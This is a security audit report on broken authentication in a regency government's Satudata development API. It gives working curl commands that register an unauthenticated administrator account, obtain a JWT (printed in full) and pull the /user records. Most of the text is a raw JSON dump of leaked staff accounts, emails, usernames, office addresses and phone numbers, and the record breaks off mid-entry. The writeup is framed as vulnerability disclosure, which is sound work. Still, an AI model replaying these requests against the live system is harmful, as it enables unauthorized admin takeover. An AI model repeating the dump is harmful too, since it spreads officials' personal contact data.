SECURITY AUDIT REPORT: Broken Authentication & Information Disclosure

Target: `https://api-dev.sukoharjokab.go.id

Researcher: zdn2pwn

Severity: CRITICAL

Date: April 26, 2026

1. Executive Summary

A critical security vulnerability was identified on the Satudata platform of Sukoharjo Regency (development server). This flaw allows unauthenticated external parties to register new accounts with Administrator privileges without requiring prior verification or authorization. Consequently, an attacker can leverage this administrative access to compromise and extract sensitive internal staff records across all government agencies registered within the system.

2. Vulnerability Details

A. Broken Authentication (CWE-287)

The /auth/register endpoint on the development API server is publicly accessible without proper authorization controls or administrative verification mechanisms. An unauthenticated attacker can supply role_id: 1 during the registration process to arbitrarily create accounts with full Administrator rights.

B. Sensitive Information Disclosure (CWE-200)

Upon successfully obtaining administrative privileges, an attacker gains unauthorized access to privileged endpoints, including /user. This allows full read access to internal staff records and organizational data, including but not limited to:

Full Names and Usernames
Official Government Email Addresses (@sukoharjokab.go.id)
Organizational Structure (Diskominfo, BPS, Bapperida, etc.)
Internal Role IDs and UUIDs
Administrative capabilities to modify system content, posts, and underlying data configurations.

3. Proof of Concept (PoC)

Step 1: Unauthenticated Administrative Account Registration

An attacker issues an unauthenticated HTTP POST request to the registration endpoint with administrative role parameters:

curl -i -X POST https://api-dev.sukoharjokab.go.id/auth/register \
     -H "Content-Type: application/json" \
     -d '{
          "name": "Internal_Tester",
          "username": "ZDN_NICH",
          "email": "ZDN_NICH@sukoharjokab.go.id",
          "password": "Bebas_asal_ZDN",
          "password_confirmation": "Bebas_asal_ZDN",
          "organization_id": 1,
          "role_id": 1
         }'

Response: The server returns an HTTP 200 OK status with success: true and creates an administrative user with ID 53:

HTTP/1.1 200 OK
Date: Sun, 26 Apr 2026 05:09:25 GMT
Server: Apache
Cache-Control: no-cache, private
Vary: Origin
Transfer-Encoding: chunked
Content-Type: application/json

{"success":true,"count":1,"data":{"user":{"name":"Internal_Tester","username":"ZDN_NICH","email":"ZDN_NICH@sukoharjokab.go.id","updated_at":"2026-04-26T05:09:25.000000Z","created_at":"2026-04-26T05:09:25.000000Z","id":53}},"message":"User registered successfully."}

Step 2: Authentication and Bearer Token Acquisition

The newly created administrator account is then used to authenticate and acquire a JSON Web Token (JWT):

curl -i -X POST https://api-dev.sukoharjokab.go.id/auth/login \
     -H "Content-Type: application/json" \
     -d '{
          "identifier":"ZDN_NICH",
          "password":"Bebas_asal_ZDN"
         }'

Response: A valid JWT Bearer token assigned with administrative privileges is returned:

HTTP/1.1 200 OK
Date: Sun, 26 Apr 2026 05:13:30 GMT
Server: Apache
Cache-Control: no-cache, private
Vary: Origin
Transfer-Encoding: chunked
Content-Type: application/json

{"success":true,"count":3,"data":{"access_token":"eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJpc3MiOiJodHRwczovL2FwaS1kZXYuc3Vrb2hhcmpva2FiLmdvLmlkL2F1dGgvbG9naW4iLCJpYXQiOjE3NzcxODA0MTAsImV4cCI6MTc3Nzc4NTIxMCwibmJmIjoxNzc3MTgwNDEwLCJqdGkiOiJIMTlGRjlDcmRHOW54VnNFIiwic3ViIjoiNTMiLCJwcnYiOiIyM2JkNWM4OTQ5ZjYwMGFkYjM5ZTcwMWM0MDA4NzJkYjdhNTk3NmY3IiwiaWRlbnRpZmllciI6IlpETl9OSUNIIn0.ILijI9QY04vCOYc9h1Q2Z_Ys1Pd5vdIzm4SInTicqos","token_type":"bearer","expires_in":604800},"message":"User login successfully"}

Step 3: Unauthorized Data Exfiltration

Using the administrative JWT Bearer token, full control over system user records is achieved. To maintain a passive assessment scope (non-destructive testing), active data manipulation (e.g., updating or deleting posts/records) was avoided, and scope was limited strictly to demonstrating read access over internal administrative user data.

curl -i -X GET https://api-dev.sukoharjokab.go.id/user \
     -H "Authorization: Bearer [ACCESS_TOKEN]" \
     -H "Content-Type: application/json"

Response: The endpoint returns structured JSON data exposing 32 internal user accounts across various government departments (including Diskominfo, BPS, Walidata, etc.):

HTTP/1.1 200 OK
Date: Sun, 26 Apr 2026 05:19:10 GMT
Server: Apache
Cache-Control: no-cache, private
Vary: Origin,Authorization
Transfer-Encoding: chunked
Content-Type: application/json

{"success":true,"count":34,"data":[{"id":1,"name":"Administrator","email":"admin@sukoharjokab.go.id","username":"admin","email_verified_at":null,"created_at":"2024-12-23T02:54:22.000000Z","updated_at":"2025-05-09T06:18:14.000000Z","organization":{"id":15,"code":"2.16.2.20.2.21.01.0000","name":"Dinas Komunikasi dan Informatika","description":null,"address":"Gedung Menara Wijaya Lantai 5, Jl. Jenderal Sudirman Nomor 199 Sukoharjo","email":"diskominfo@sukoharjokab.go.id","contact":"(0271) 593068","postal_code":"57521","website":"https:\/\/diskominfo.sukoharjokab.go.id\/","created_at":"2025-02-03T01:50:52.000000Z","updated_at":"2025-02-03T01:50:52.000000Z"},"role":{"id":1,"name":"Administrator","description":"Bertanggung jawab atas pengelolaan keseluruhan platform Satu Data. Administrator memiliki akses penuh untuk mengatur pengguna, peran, dan konfigurasi sistem. Selain itu, mereka memastikan integritas data dan memantau aktivitas di platform untuk menjamin kelancaran operasional.","created_at":null,"updated_at":"2025-01-03T02:17:57.000000Z"}},{"id":21,"name":"Walidata","email":"diskominfo@gmail.com","username":"walidata","email_verified_at":null,"created_at":"2025-05-09T03:35:22.000000Z","updated_at":"2025-05-09T03:56:09.000000Z","organization":{"id":15,"code":"2.16.2.20.2.21.01.0000","name":"Dinas Komunikasi dan Informatika","description":null,"address":"Gedung Menara Wijaya Lantai 5, Jl. Jenderal Sudirman Nomor 199 Sukoharjo","email":"diskominfo@sukoharjokab.go.id","contact":"(0271) 593068","postal_code":"57521","website":"https:\/\/diskominfo.sukoharjokab.go.id\/","created_at":"2025-02-03T01:50:52.000000Z","updated_at":"2025-02-03T01:50:52.000000Z"},"role":{"id":3,"name":"Walidata","description":"Bertanggung jawab memverifikasi dan memvalidasi data yang diunggah oleh Produsen Data. Walidata memastikan data sesuai dengan kriteria kualitas dan format yang telah ditentukan sebelum data tersebut dipublikasikan atau digunakan oleh pengguna lain.","created_at":null,"updated_at":null}},{"id":22,"name":"Walidata Pendukung","email":"bapperida@sukoharjokab.go.id","username":"walidata-pendukung","email_verified_at":null,"created_at":"2025-05-09T03:36:15.000000Z","updated_at":"2025-05-19T01:45:58.000000Z","organization":{"id":23,"code":"5.01.5.05.0.00.01.0000","name":"Badan Perencanaan Pembangunan, Riset dan Inovasi Daerah","description":null,"address":"Gedung Menara Wijaya Lantai 2, Jl. Jenderal Sudirman No. 199 Sukoharjo","email":"bapperida@sukoharjokab.go.id","contact":"(0271) 593068","postal_code":"57521","website":"https:\/\/bapperida.sukoharjokab.go.id\/","created_at":"2025-02-03T02:08:04.000000Z","updated_at":"2025-02-03T02:08:04.000000Z"},"role":{"id":4,"name":"Walidata Pendukung","description":"Membantu Walidata utama dalam proses pengecekan dan validasi data. Walidata Pendukung biasanya fokus pada aspek-aspek spesifik atau teknis untuk memastikan data sesuai dengan standar dan pedoman Satu Data.","created_at":null,"updated_at":"2025-02-17T01:18:21.000000Z"}},{"id":23,"name":"Pembina","email":"bps3311@bps.go.id","username":"pembina","email_verified_at":null,"created_at":"2025-05-09T03:37:33.000000Z","updated_at":"2025-05-22T03:04:05.000000Z","organization":{"id":38,"code":"0000000","name":"Badan Pusat Statistik","description":null,"address":"Jl. Bulakrejo-Gentan No. 3 Bendosari Sukoharjo - Jawa Tengah","email":"bps3311@bps.go.id","contact":"(0271) 593057","postal_code":"57527","website":null,"created_at":"2025-02-24T07:34:47.000000Z","updated_at":"2025-02-24T07:34:47.000000Z"},"role":{"id":5,"name":"Pembina","description":"Berperan sebagai pengawas dan penentu arah kebijakan dalam pengelolaan data di platform. Pembina memastikan bahwa implementasi Satu Data sejalan dengan visi, misi, dan tujuan organisasi serta memberikan arahan strategis kepada tim.","created_at":null,"updated_at":"2025-01-02T04:16:21.000000Z"}},{"id":24,"name":"Admin Disdukcapil","email":"dispendukcapil@sukoharjokab.go.id","username":"dukcapilskh","email_verified_at":null,"created_at":"2025-05-09T03:57:14.000000Z","updated_at":"2025-05-19T01:46:39.000000Z","organization":{"id":12,"code":"2.12.0.00.0.00.01.0000","name":"Dinas Kependudukan Dan Pencatatan Sipil","description":null,"address":"Jalan Kyai Mawardi No. 1 Sukoharjo","email":"dispendukcapil@sukoharjokab.go.id","contact":"(0271) 593178","postal_code":"57521","website":"https:\/\/dispendukcapil.sukoharjokab.go.id\/","created_at":"2025-02-03T01:46:22.000000Z","updated_at":"2025-02-03T01:46:22.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":25,"name":"Admin DPMPTSP","email":"dpmptsp@sukoharjokab.go.id","username":"ptspskh","email_verified_at":null,"created_at":"2025-05-09T04:02:57.000000Z","updated_at":"2025-05-19T01:46:50.000000Z","organization":{"id":17,"code":"2.18.0.00.0.00.01.0000","name":"Dinas Penanaman Modal dan Pelayanan Terpadu Satu Pintu","description":null,"address":"Gedung Mal Pelayanan Publik (MPP) Sevaka Bhakti Wijaya Lantai 2, Jl. Abutholib Sastrotenoyo No. 378, Jombor, Bendosari, Sukoharjo","email":"dpmptsp@sukoharjokab.go.id","contact":"(0271) 590244","postal_code":"57521","website":"http:\/\/www.dpmptsp.sukoharjokab.go.id\/","created_at":"2025-02-03T01:53:59.000000Z","updated_at":"2025-02-03T01:53:59.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":26,"name":"Admin Pangan","email":"pangan@sukoharjokab.go.id","username":"panganskh","email_verified_at":null,"created_at":"2025-05-09T04:03:45.000000Z","updated_at":"2025-05-09T04:03:45.000000Z","organization":{"id":10,"code":"2.09.0.00.0.00.01.0000","name":"Dinas Pangan","description":null,"address":"Gedung Menara Wijaya Lantai 5, Jalan Jenderal Sudirman Nomor 199 Sukoharjo","email":"dinaspangansukoharjo@gmail.com","contact":"(0271) 593068","postal_code":"-","website":"https:\/\/pangan.sukoharjokab.go.id\/","created_at":"2025-02-03T01:43:39.000000Z","updated_at":"2025-02-03T01:43:39.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":27,"name":"Admin Diskopumdag","email":"diskopumdag@sukoharjokab.go.id","username":"disdagkopskh","email_verified_at":null,"created_at":"2025-05-09T04:04:43.000000Z","updated_at":"2025-05-19T01:47:01.000000Z","organization":{"id":16,"code":"2.17.3.30.0.00.03.0000","name":"Dinas Koperasi, Usaha Kecil Dan Menengah, dan Perdagangan","description":null,"address":"Gedung Menara Wijaya Lantai 2, Jalan Jenderal Sudirman No. 199 Sukoharjo","email":"diskopumdag@sukoharjokab.go.id","contact":"(0271) 593068","postal_code":"57521","website":"https:\/\/diskopumdag.sukoharjokab.go.id\/","created_at":"2025-02-03T01:52:13.000000Z","updated_at":"2025-02-03T01:52:13.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":28,"name":"Admin Dinsos","email":"dinsos@sukoharjokab.go.id","username":"dinsosskh","email_verified_at":null,"created_at":"2025-05-09T04:05:52.000000Z","updated_at":"2025-05-09T04:05:52.000000Z","organization":{"id":8,"code":"1.06.0.00.0.00.01.0000","name":"Dinas Sosial","description":null,"address":"Jl. Veteran No.61, Kutorejo, Jetis, Kec. Sukoharjo, Kabupaten Sukoharjo, Jawa Tengah","email":"dinsos@sukoharjokab.go.id","contact":"(0271) 593 024","postal_code":"57511","website":"https:\/\/dinsos.sukoharjokab.go.id\/","created_at":"2025-02-03T01:37:02.000000Z","updated_at":"2025-02-03T01:37:02.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":29,"name":"Admin DPUPR","email":"pupr@sukoharjokab.go.id","username":"puprskh","email_verified_at":null,"created_at":"2025-05-09T04:06:35.000000Z","updated_at":"2025-05-19T01:47:08.000000Z","organization":{"id":4,"code":"1.03.2.10.0.00.01.0000","name":"Dinas Pekerjaan Umum dan Penataan Ruang","description":null,"address":"Jl. Rajawali No. 8 Sukoharjo","email":"pupr@sukoharjokab.go.id","contact":"(0271) 593013","postal_code":"57513","website":"https:\/\/pupr.sukoharjokab.go.id\/","created_at":"2025-02-03T01:25:31.000000Z","updated_at":"2025-02-03T02:27:09.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":30,"name":"Admin DPP","email":"dpp@sukoharjokab.go.id","username":"dppskh","email_verified_at":null,"created_at":"2025-05-09T04:07:14.000000Z","updated_at":"2025-05-09T04:07:14.000000Z","organization":{"id":20,"code":"3.27.3.25.0.00.01.0000","name":"Dinas Pertanian dan Perikanan","description":null,"address":"Jl. dr Moewardi No. 14, Gayam, Sukoharjo. Kabupaten Sukoharjo.","email":"dpp@sukoharjokab.go.id","contact":"(0271) 593138","postal_code":"57514","website":"https:\/\/dpp.sukoharjokab.go.id\/","created_at":"2025-02-03T01:59:19.000000Z","updated_at":"2025-02-03T01:59:19.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":31,"name":"Admin DKK","email":"dkk@sukoharjokab.go.id","username":"dkkskh","email_verified_at":null,"created_at":"2025-05-09T04:08:13.000000Z","updated_at":"2025-05-09T04:08:13.000000Z","organization":{"id":2,"code":"1.02.0.00.0.00.01.0000","name":"Dinas Kesehatan","description":null,"address":"Jl. Dr. Muwardi No.66, Mojo, Gayam","email":"dkk@sukoharjokab.go.id","contact":"(0271) 593015","postal_code":"57514","website":"https:\/\/dkk.sukoharjokab.go.id\/","created_at":"2025-01-02T07:02:30.000000Z","updated_at":"2025-01-30T07:36:50.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":32,"name":"Admin Disdik","email":"disdik@sukoharjokab.go.id","username":"disdikskh","email_verified_at":null,"created_at":"2025-05-09T04:09:53.000000Z","updated_at":"2025-05-22T03:02:08.000000Z","organization":{"id":1,"code":"1.01.2.22.0.00.01.0000","name":"Dinas Pendidikan dan Kebudayaan","description":null,"address":"Jalan Wandyopranoto, Mandan, Kec. Sukoharjo, Kabupaten Sukoharjo, Jawa Tengah","email":"disdik@sukoharjokab.go.id","contact":"(0271) 591603","postal_code":"57518","website":"https:\/\/dikbud.sukoharjokab.go.id\/","created_at":null,"updated_at":"2025-02-03T02:27:19.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":33,"name":"Admin Dishub","email":"dishub@sukoharjokab.go.id","username":"dishubskh","email_verified_at":null,"created_at":"2025-05-09T04:10:38.000000Z","updated_at":"2025-05-09T04:10:38.000000Z","organization":{"id":14,"code":"2.15.0.00.0.00.01.0000","name":"Dinas Perhubungan","description":null,"address":"Jl. Rajawali No.7, Mojotegalan, Joho, Kec. Sukoharjo, Kabupaten Sukoharjo, Jawa Tengah","email":"dishub@sukoharjokab.go.id","contact":"(0271) 593037","postal_code":"57513","website":"https:\/\/dishub.sukoharjokab.go.id\/","created_at":"2025-02-03T01:48:49.000000Z","updated_at":"2025-02-03T01:48:49.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":34,"name":"Admin BPBD","email":"bpbd@sukoharjokab.go.id","username":"bpbdskh","email_verified_at":null,"created_at":"2025-05-09T04:11:25.000000Z","updated_at":"2025-05-09T04:11:25.000000Z","organization":{"id":7,"code":"1.05.0.00.0.00.04.0000","name":"Badan Penanggulangan Bencana Daerah","description":null,"address":"Jl. Slamet Riyadi No. 52 Sukoharjo","email":"bpbdsukoharjo@yahoo.co.id","contact":"(0271) 590551","postal_code":"57521","website":"http:\/\/bpbd.sukoharjokab.go.id\/","created_at":"2025-02-03T01:35:38.000000Z","updated_at":"2025-02-03T02:26:44.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":35,"name":"Admin Bapperida","email":"bappeda@sukoharjokab.go.id","username":"baperidaskh","email_verified_at":null,"created_at":"2025-05-09T05:58:58.000000Z","updated_at":"2025-05-19T01:47:52.000000Z","organization":{"id":23,"code":"5.01.5.05.0.00.01.0000","name":"Badan Perencanaan Pembangunan, Riset dan Inovasi Daerah","description":null,"address":"Gedung Menara Wijaya Lantai 2, Jl. Jenderal Sudirman No. 199 Sukoharjo","email":"bapperida@sukoharjokab.go.id","contact":"(0271) 593068","postal_code":"57521","website":"https:\/\/bapperida.sukoharjokab.go.id\/","created_at":"2025-02-03T02:08:04.000000Z","updated_at":"2025-02-03T02:08:04.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":36,"name":"Admin BPKPAD","email":"bpkpad@sukoharjokab.go.id","username":"bpkpadskh","email_verified_at":null,"created_at":"2025-05-09T06:00:42.000000Z","updated_at":"2025-05-09T06:00:42.000000Z","organization":{"id":24,"code":"5.02.0.00.0.00.04.0000","name":"Badan Pengelolaan Keuangan, Pendapatan dan Aset Daerah","description":null,"address":"Gedung Soewarno Honggopati, Jalan Jenderal Sudirman Nomor 199 Sukoharjo","email":"dppkad.sukoharjo@gmail.com","contact":"(0271) 591678","postal_code":"-","website":"https:\/\/bpkpad.sukoharjokab.go.id\/","created_at":"2025-02-03T02:09:42.000000Z","updated_at":"2025-02-03T02:09:42.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":37,"name":"Admin Dispernaker","email":"dispernaker@sukoharjokab.go.id","username":"nakertrans","email_verified_at":null,"created_at":"2025-05-09T06:01:29.000000Z","updated_at":"2025-05-19T01:48:20.000000Z","organization":{"id":21,"code":"3.31.3.32.2.07.11.0000","name":"Dinas Perindustrian, Transmigrasi dan Tenaga Kerja","description":null,"address":"Gedung Menara Wijaya Lantai 4, Jalan Jendral Sudirman Nomor 199 Sukoharjo","email":"dispernaker@sukoharjokab.go.id","contact":"(0271) 593068","postal_code":"57521","website":"https:\/\/dispernaker.sukoharjokab.go.id\/","created_at":"2025-02-03T02:01:05.000000Z","updated_at":"2025-02-03T02:01:05.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":38,"name":"Admin DPKP","email":"pkp@sukoharjokab.go.id","username":"dpkp","email_verified_at":null,"created_at":"2025-05-09T06:02:19.000000Z","updated_at":"2025-05-09T06:02:19.000000Z","organization":{"id":5,"code":"1.04.0.00.0.00.02.0000","name":"Dinas Perumahan dan Kawasan Permukiman","description":null,"address":"Gedung Menara Wijaya Lantai 6. Jalan Jenderal Sudirman No. 199 Sukoharjo","email":"pkp@sukoharjokab.go.id","contact":"(0271) 593068","postal_code":"57521","website":"https:\/\/pkp.sukoharjokab.go.id\/","created_at":"2025-02-03T01:28:49.000000Z","updated_at":"2025-02-03T02:27:00.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":39,"name":"Admin Satpol PP","email":"satpolpp@sukoharjokab.go.id","username":"satpolpp","email_verified_at":null,"created_at":"2025-05-09T06:02:58.000000Z","updated_at":"2025-05-09T06:02:58.000000Z","organization":{"id":6,"code":"1.05.0.00.0.00.03.0000","name":"Satuan Polisi Pamong Praja","description":null,"address":"Jalan Kyai Mawardi Nomor 1 Gabusan, Jombor, Kecamatan Bendosari, Kabupaten Sukoharjo","email":"satpolppskh@gmail.com","contact":"(0271) 593 068","postal_code":"57521","website":"https:\/\/satpolpp.sukoharjokab.go.id\/","created_at":"2025-02-03T01:33:02.000000Z","updated_at":"2025-02-03T02:26:51.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":40,"name":"Admin DPPKBP3A","email":"ppkbp3a@sukoharjokab.go.id","username":"dpkb","email_verified_at":null,"created_at":"2025-05-09T06:03:45.000000Z","updated_at":"2025-07-03T07:22:21.000000Z","organization":{"id":9,"code":"2.08.2.14.0.00.02.0000","name":"Dinas Pengendalian Penduduk, Keluarga Berencana Dan Pemberdayaan Perempuan Dan Perlindungan Anak","description":null,"address":"Gedung Menara Wijaya Lt 3, Jl. Jend. Sudirman No.199, Gabusan, Jombor, Kec. Bendosari, Kabupaten Sukoharjo, Jawa Tengah","email":"dinaskbsukoharjo@gmail.com","contact":"(0271) 593068","postal_code":"57521","website":"https:\/\/ppkbp3a.sukoharjokab.go.id\/","created_at":"2025-02-03T01:39:07.000000Z","updated_at":"2025-02-03T01:39:07.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":41,"name":"Admin DLH","email":"dlh@sukoharjokab.go.id","username":"dlh","email_verified_at":null,"created_at":"2025-05-09T06:04:24.000000Z","updated_at":"2025-05-09T06:04:24.000000Z","organization":{"id":11,"code":"2.11.0.00.0.00.01.0000","name":"Dinas Lingkungan Hidup","description":null,"address":"Gedung Kantor Menara Wijaya Lantai 4. Jl. Jend. Sudirman No 199 Sukoharjo","email":"dlh@sukoharjokab.go.id","contact":"(0271) 593068","postal_code":"57721","website":"https:\/\/dlh.sukoharjokab.go.id\/","created_at":"2025-02-03T01:45:09.000000Z","updated_at":"2025-02-03T01:45:09.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":42,"name":"Admin Disporapar","email":"disporapar@sukoharjokab.go.id","username":"disporapar","email_verified_at":null,"created_at":"2025-05-09T06:05:03.000000Z","updated_at":"2025-05-09T06:05:03.000000Z","organization":{"id":18,"code":"2.19.3.26.0.00.01.0000","name":"Dinas Kepemudaan, Olahraga dan Pariwisata","description":null,"address":"Gedung Menara Wijaya Lantai 7, Jalan Jendral Sudirman Nomor 199 Sukoharjo","email":"dispora@sukoharjokab.go.id","contact":"(0271) 593068","postal_code":"57521","website":"https:\/\/disporapar.sukoharjokab.go.id\/","created_at":"2025-02-03T01:56:31.000000Z","updated_at":"2025-02-03T01:56:31.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":43,"name":"Admin Setda","email":"setda@sukoharjokab.go.id","username":"setda","email_verified_at":null,"created_at":"2025-05-09T06:05:47.000000Z","updated_at":"2025-05-09T06:05:47.000000Z","organization":{"id":28,"code":"4.01.0.00.0.00.01.0000","name":"Sekretariat Daerah","description":null,"address":"Jl. Jend. Sudirman No. 199, Sukoharjo, Jawa Tengah","email":"pemkab@sukoharjokab.go.id","contact":"(0271) 593068","postal_code":"-","website":null,"created_at":"2025-02-03T03:14:21.000000Z","updated_at":"2025-02-03T03:14:21.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":44,"name":"Admin Dispusip","email":"dispusip@sukoharjokab.go.id","username":"dispusip","email_verified_at":null,"created_at":"2025-05-09T06:06:53.000000Z","updated_at":"2025-05-09T06:06:53.000000Z","organization":{"id":19,"code":"2.23.2.24.0.00.02.0000","name":"Dinas Perpustakaan dan Kearsipan","description":null,"address":"Jl. Slamet Riyadi Nomor 17, Johosari, Joho, Kecamatan Sukoharjo, Kabupaten Sukoharjo, Jawa Tengah","email":"dispusip@sukoharjokab.go.id","contact":"(0271) 593068","postal_code":"57513","website":"https:\/\/dispusip.sukoharjokab.go.id\/","created_at":"2025-02-03T01:57:41.000000Z","updated_at":"2025-02-03T01:57:41.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":45,"name":"Admin BKPSDM","email":"bkpsdm@sukoharjokab.go.id","username":"bkpsdm","email_verified_at":null,"created_at":"2025-05-09T06:07:42.000000Z","updated_at":"2025-05-09T06:07:42.000000Z","organization":{"id":25,"code":"5.03.5.04.0.00.01.0000","name":"Badan Kepegawaian dan Pengembangan Sumber Daya Manusia","description":null,"address":"Gedung Menara Wijaya Lantai 6, Jl. Jenderal Sudirman No.199 Sukoharjo","email":"bkpsdm@sukoharjokab.go.id","contact":"(0271) 593068","postal_code":"57521","website":"https:\/\/bkpsdm.sukoharjokab.go.id\/","created_at":"2025-02-03T02:11:16.000000Z","updated_at":"2025-02-03T02:11:16.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":46,"name":"Admin Inspektorat","email":"inspektorat@sukoharjokab.go.id","username":"inspektorat","email_verified_at":null,"created_at":"2025-05-09T06:08:29.000000Z","updated_at":"2025-05-22T03:50:53.000000Z","organization":{"id":26,"code":"6.01.0.00.0.00.01.0000","name":"Inspektorat Daerah","description":null,"address":"Gedung Menara Wijaya Lantai 7, Jl. Jenderal Sudirman No. 199 Sukoharjo","email":"inspektoratsukoharjo@gmail.com","contact":"(0271) 593068","postal_code":"57521","website":"https:\/\/inspektorat.sukoharjokab.go.id\/","created_at":"2025-02-03T02:12:54.000000Z","updated_at":"2025-02-03T02:12:54.000000Z"},"role":{"id":2,"name":"Produsen Data","description":"Pihak yang bertugas mengelola, mengunggah, dan memutakhirkan data di platform. Produsen Data bertanggung jawab atas validitas, kelengkapan, dan akurasi data yang disediakan sesuai dengan standar yang ditetapkan.","created_at":null,"updated_at":null}},{"id":47,"name":"Admin Kesbangpol","email":"kesbangpol@sukoharjokab.go.id","username":"kesbang","email_verified_at":null,"created_at":"2025-05-09T06:09:16.000000Z","updated_at":"2025-05-19T01:48:54.000000Z","organization":{"id":27,"code":"8.01.0.00.0.00.01.0000","name":"Badan Kesatuan Bangsa dan Politik","description":null,"address":"Gedung Menara Wijaya Lantai 7, Jl. Jendral Sudirman No 199 Sukoharjo","email":"kesbangpolskh@gmail.com","contact":"(0271) 